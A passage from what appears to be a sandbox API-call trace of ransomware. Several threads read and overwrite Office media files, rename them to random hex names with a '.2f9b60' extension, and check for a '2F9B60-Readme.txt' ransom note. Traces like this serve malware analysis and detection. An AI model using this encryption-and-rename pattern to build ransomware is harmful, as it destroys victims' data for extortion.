out: Seed=0x1ebdf670) returned 0x769e5fba [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x23224b67 [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x4876dfda [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x1cbb450c [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0xca04343 [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x4935bd31 [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x558309af [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x58ada42 [0100.758] ReadFile (in: hFile=0x15f0, lpBuffer=0x202b98d0, nNumberOfBytesToRead=0x2f64, lpNumberOfBytesRead=0x1ebdf670, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesRead=0x1ebdf670*=0x2f64, lpOverlapped=0x0) returned 1 [0101.601] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.601] WriteFile (in: hFile=0x15f0, lpBuffer=0x2033b690*, nNumberOfBytesToWrite=0x2f64, lpNumberOfBytesWritten=0x1ebdf674, lpOverlapped=0x0 | out: lpBuffer=0x2033b690*, lpNumberOfBytesWritten=0x1ebdf674*=0x2f64, lpOverlapped=0x0) returned 1 [0101.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0101.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0101.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261190) returned 1 [0101.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033b690) returned 1 [0101.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0101.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0101.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0101.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261190 [0101.952] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.952] WriteFile (in: hFile=0x15f0, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ebdf790, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x1ebdf790*=0x10a, lpOverlapped=0x0) returned 1 [0102.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c00 [0102.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c00) returned 1 [0102.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c00 [0102.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0102.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262bd0) returned 1 [0102.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.328] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="c6") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="74") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="33") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="ac") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="a7") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="70") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="6f") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="ff") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="fa") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="75") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="3a") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="7c") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="82") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="24") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="14") returned 2 [0102.328] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="94") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="7b") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="0d") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="16") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="b5") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="06") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="b2") returned 2 [0102.329] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="81") returned 2 [0102.329] RtlInitAnsiString (in: DestinationString=0x1ebdf808, SourceString="c67433aca7706fff7dfa753a7c822414947b0d16b506b281" | out: DestinationString="c67433aca7706fff7dfa753a7c822414947b0d16b506b281") [0102.329] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ebdf7d8, SourceString="c67433aca7706fff7dfa753a7c822414947b0d16b506b281", AllocateDestinationString=1 | out: DestinationString="c67433aca7706fff7dfa753a7c822414947b0d16b506b281") returned 0x0 [0102.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0102.329] wcscat (in: _Dest=0x4205cfb0, _Source="c67433aca770" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c67433aca770") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c67433aca770" [0102.329] wcscat (in: _Dest=0x4205cfb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c67433aca770.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c67433aca770.2f9b60" [0102.329] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c67433aca770.2f9b60", NtPathName=0x1ebdf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\c67433aca770.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c7c0 [0106.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c7c0) returned 1 [0106.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc740) returned 1 [0106.097] NtQueryInformationFile (in: FileHandle=0x15f0, IoStatusBlock=0x1ebdf818, FileInformation=0x1ebdf828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ebdf818, FileInformation=0x1ebdf828) returned 0x0 [0106.097] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x1ebdf818, FileInformation=0x1ebdf828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0106.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0106.920] FlushFileBuffers (hFile=0x15f0) returned 1 [0106.970] CloseHandle (hObject=0x15f0) returned 1 [0107.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202af610 [0107.363] wcscpy (in: _Dest=0x202af610, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.363] wcscat (in: _Dest=0x202af610, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af610) returned 1 [0107.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e4f0) returned 1 Thread: id = 756 os_tid = 0x12b4 [0098.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf")) returned 0x20 [0099.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF", dwFileAttributes=0x20) returned 1 [0099.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c4 [0099.697] GetFileSizeEx (in: hFile=0x15c4, lpFileSize=0x1eeafc00 | out: lpFileSize=0x1eeafc00*=6970) returned 1 [0099.697] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x1b36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.697] ReadFile (in: hFile=0x15c4, lpBuffer=0x1eeafb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eeafbc8, lpOverlapped=0x0 | out: lpBuffer=0x1eeafb80*, lpNumberOfBytesRead=0x1eeafbc8*=0x4, lpOverlapped=0x0) returned 1 [0100.326] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263620 [0100.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636b0 [0100.326] NtQuerySystemTime (in: CurrentTime=0x1eeafac0 | out: CurrentTime=0x1eeafac0*=132462177058534000) returned 0x0 [0100.326] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x55462a1a [0100.326] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x5990888e [0100.326] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x128969c2 [0100.326] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x5f12744d [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x380a2487 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x6ccd4dbb [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x53d9e0fd [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x3737dab9 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x30785878 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x156eae58 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x6e23cd0d [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x7b082f8e [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x769ddc1f [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x2ab9b77a [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x3c869dfa [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x6a90e61f [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0xc239bca [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x596ca7b6 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x5f472174 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x1b58c52b [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x3fb717e3 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x4fb0ed3e [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x471131b5 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x26a3ec8 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x61589737 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x738d8c76 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x4f355328 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x27c55dd8 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x44792c3 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x4044ec43 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x5d112fc2 [0100.327] RtlRandomEx (in: Seed=0x1eeafab0 | out: Seed=0x1eeafab0) returned 0x1a554de8 [0100.819] ReadFile (in: hFile=0x15c4, lpBuffer=0x41cd00b0, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x1eeafab0, lpOverlapped=0x0 | out: lpBuffer=0x41cd00b0*, lpNumberOfBytesRead=0x1eeafab0*=0x1b3a, lpOverlapped=0x0) returned 1 [0101.607] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.607] WriteFile (in: hFile=0x15c4, lpBuffer=0x41cd3cc0*, nNumberOfBytesToWrite=0x1b3a, lpNumberOfBytesWritten=0x1eeafab4, lpOverlapped=0x0 | out: lpBuffer=0x41cd3cc0*, lpNumberOfBytesWritten=0x1eeafab4*=0x1b3a, lpOverlapped=0x0) returned 1 [0101.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610d0 [0101.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261100 [0101.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261100) returned 1 [0101.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd3cc0) returned 1 [0101.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd00b0) returned 1 [0101.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0101.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0101.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261100 [0101.963] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.964] WriteFile (in: hFile=0x15c4, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1eeafbd0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x1eeafbd0*=0x10a, lpOverlapped=0x0) returned 1 [0102.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0102.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263680) returned 1 [0102.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0102.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263650 [0102.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263650) returned 1 [0102.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.339] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="cd") returned 2 [0102.339] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="14") returned 2 [0102.339] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="f0") returned 2 [0102.339] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="49") returned 2 [0102.339] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="2c") returned 2 [0102.339] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="b6") returned 2 [0102.339] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="46") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="c1") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="ec") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="08") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="cb") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="b4") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="33") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="d2") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="6e") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="73") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="44") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="de") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="f8") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="bc") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="10") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="90") returned 2 [0102.340] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="c0") returned 2 [0102.340] RtlInitAnsiString (in: DestinationString=0x1eeafc48, SourceString="cd14f0492cb646c1ece508cbb433d26e7344def8bc1090c0" | out: DestinationString="cd14f0492cb646c1ece508cbb433d26e7344def8bc1090c0") [0102.340] RtlAnsiStringToUnicodeString (in: DestinationString=0x1eeafc18, SourceString="cd14f0492cb646c1ece508cbb433d26e7344def8bc1090c0", AllocateDestinationString=1 | out: DestinationString="cd14f0492cb646c1ece508cbb433d26e7344def8bc1090c0") returned 0x0 [0102.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86ef00 [0102.341] wcscat (in: _Dest=0x4205d190, _Source="cd14f0492cb6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cd14f0492cb6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cd14f0492cb6" [0102.341] wcscat (in: _Dest=0x4205d190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cd14f0492cb6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cd14f0492cb6.2f9b60" [0102.341] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cd14f0492cb6.2f9b60", NtPathName=0x1eeafbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cd14f0492cb6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c9d0 [0105.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0105.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420602e0) returned 1 [0105.923] NtQueryInformationFile (in: FileHandle=0x15c4, IoStatusBlock=0x1eeafc58, FileInformation=0x1eeafc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1eeafc58, FileInformation=0x1eeafc68) returned 0x0 [0105.923] NtSetInformationFile (FileHandle=0x15c4, IoStatusBlock=0x1eeafc58, FileInformation=0x1eeafc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d190) returned 1 [0105.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef00) returned 1 [0105.959] FlushFileBuffers (hFile=0x15c4) returned 1 [0105.976] CloseHandle (hObject=0x15c4) returned 1 [0105.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4da0 [0105.978] wcscpy (in: _Dest=0x202a4da0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.978] wcscat (in: _Dest=0x202a4da0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4da0) returned 1 [0106.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784370) returned 1 Thread: id = 757 os_tid = 0x12b8 [0098.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf")) returned 0x20 [0099.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF", dwFileAttributes=0x20) returned 1 [0099.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c0 [0099.695] GetFileSizeEx (in: hFile=0x15c0, lpFileSize=0x1fbdfb80 | out: lpFileSize=0x1fbdfb80*=18246) returned 1 [0099.695] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x4742, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.695] ReadFile (in: hFile=0x15c0, lpBuffer=0x1fbdfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fbdfb48, lpOverlapped=0x0 | out: lpBuffer=0x1fbdfb00*, lpNumberOfBytesRead=0x1fbdfb48*=0x4, lpOverlapped=0x0) returned 1 [0100.275] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0100.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0100.275] NtQuerySystemTime (in: CurrentTime=0x1fbdfa40 | out: CurrentTime=0x1fbdfa40*=132462177057910000) returned 0x0 [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x1a21c6f9 [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x1ceb8f9d [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x6e32fbe0 [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x4ea42a5a [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x2923dd21 [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x4f355328 [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x63ad57da [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x7b997b5d [0100.275] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x4b0532dc [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x61872d9f [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x4b20a25c [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x2db38370 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0xe777922 [0100.276] 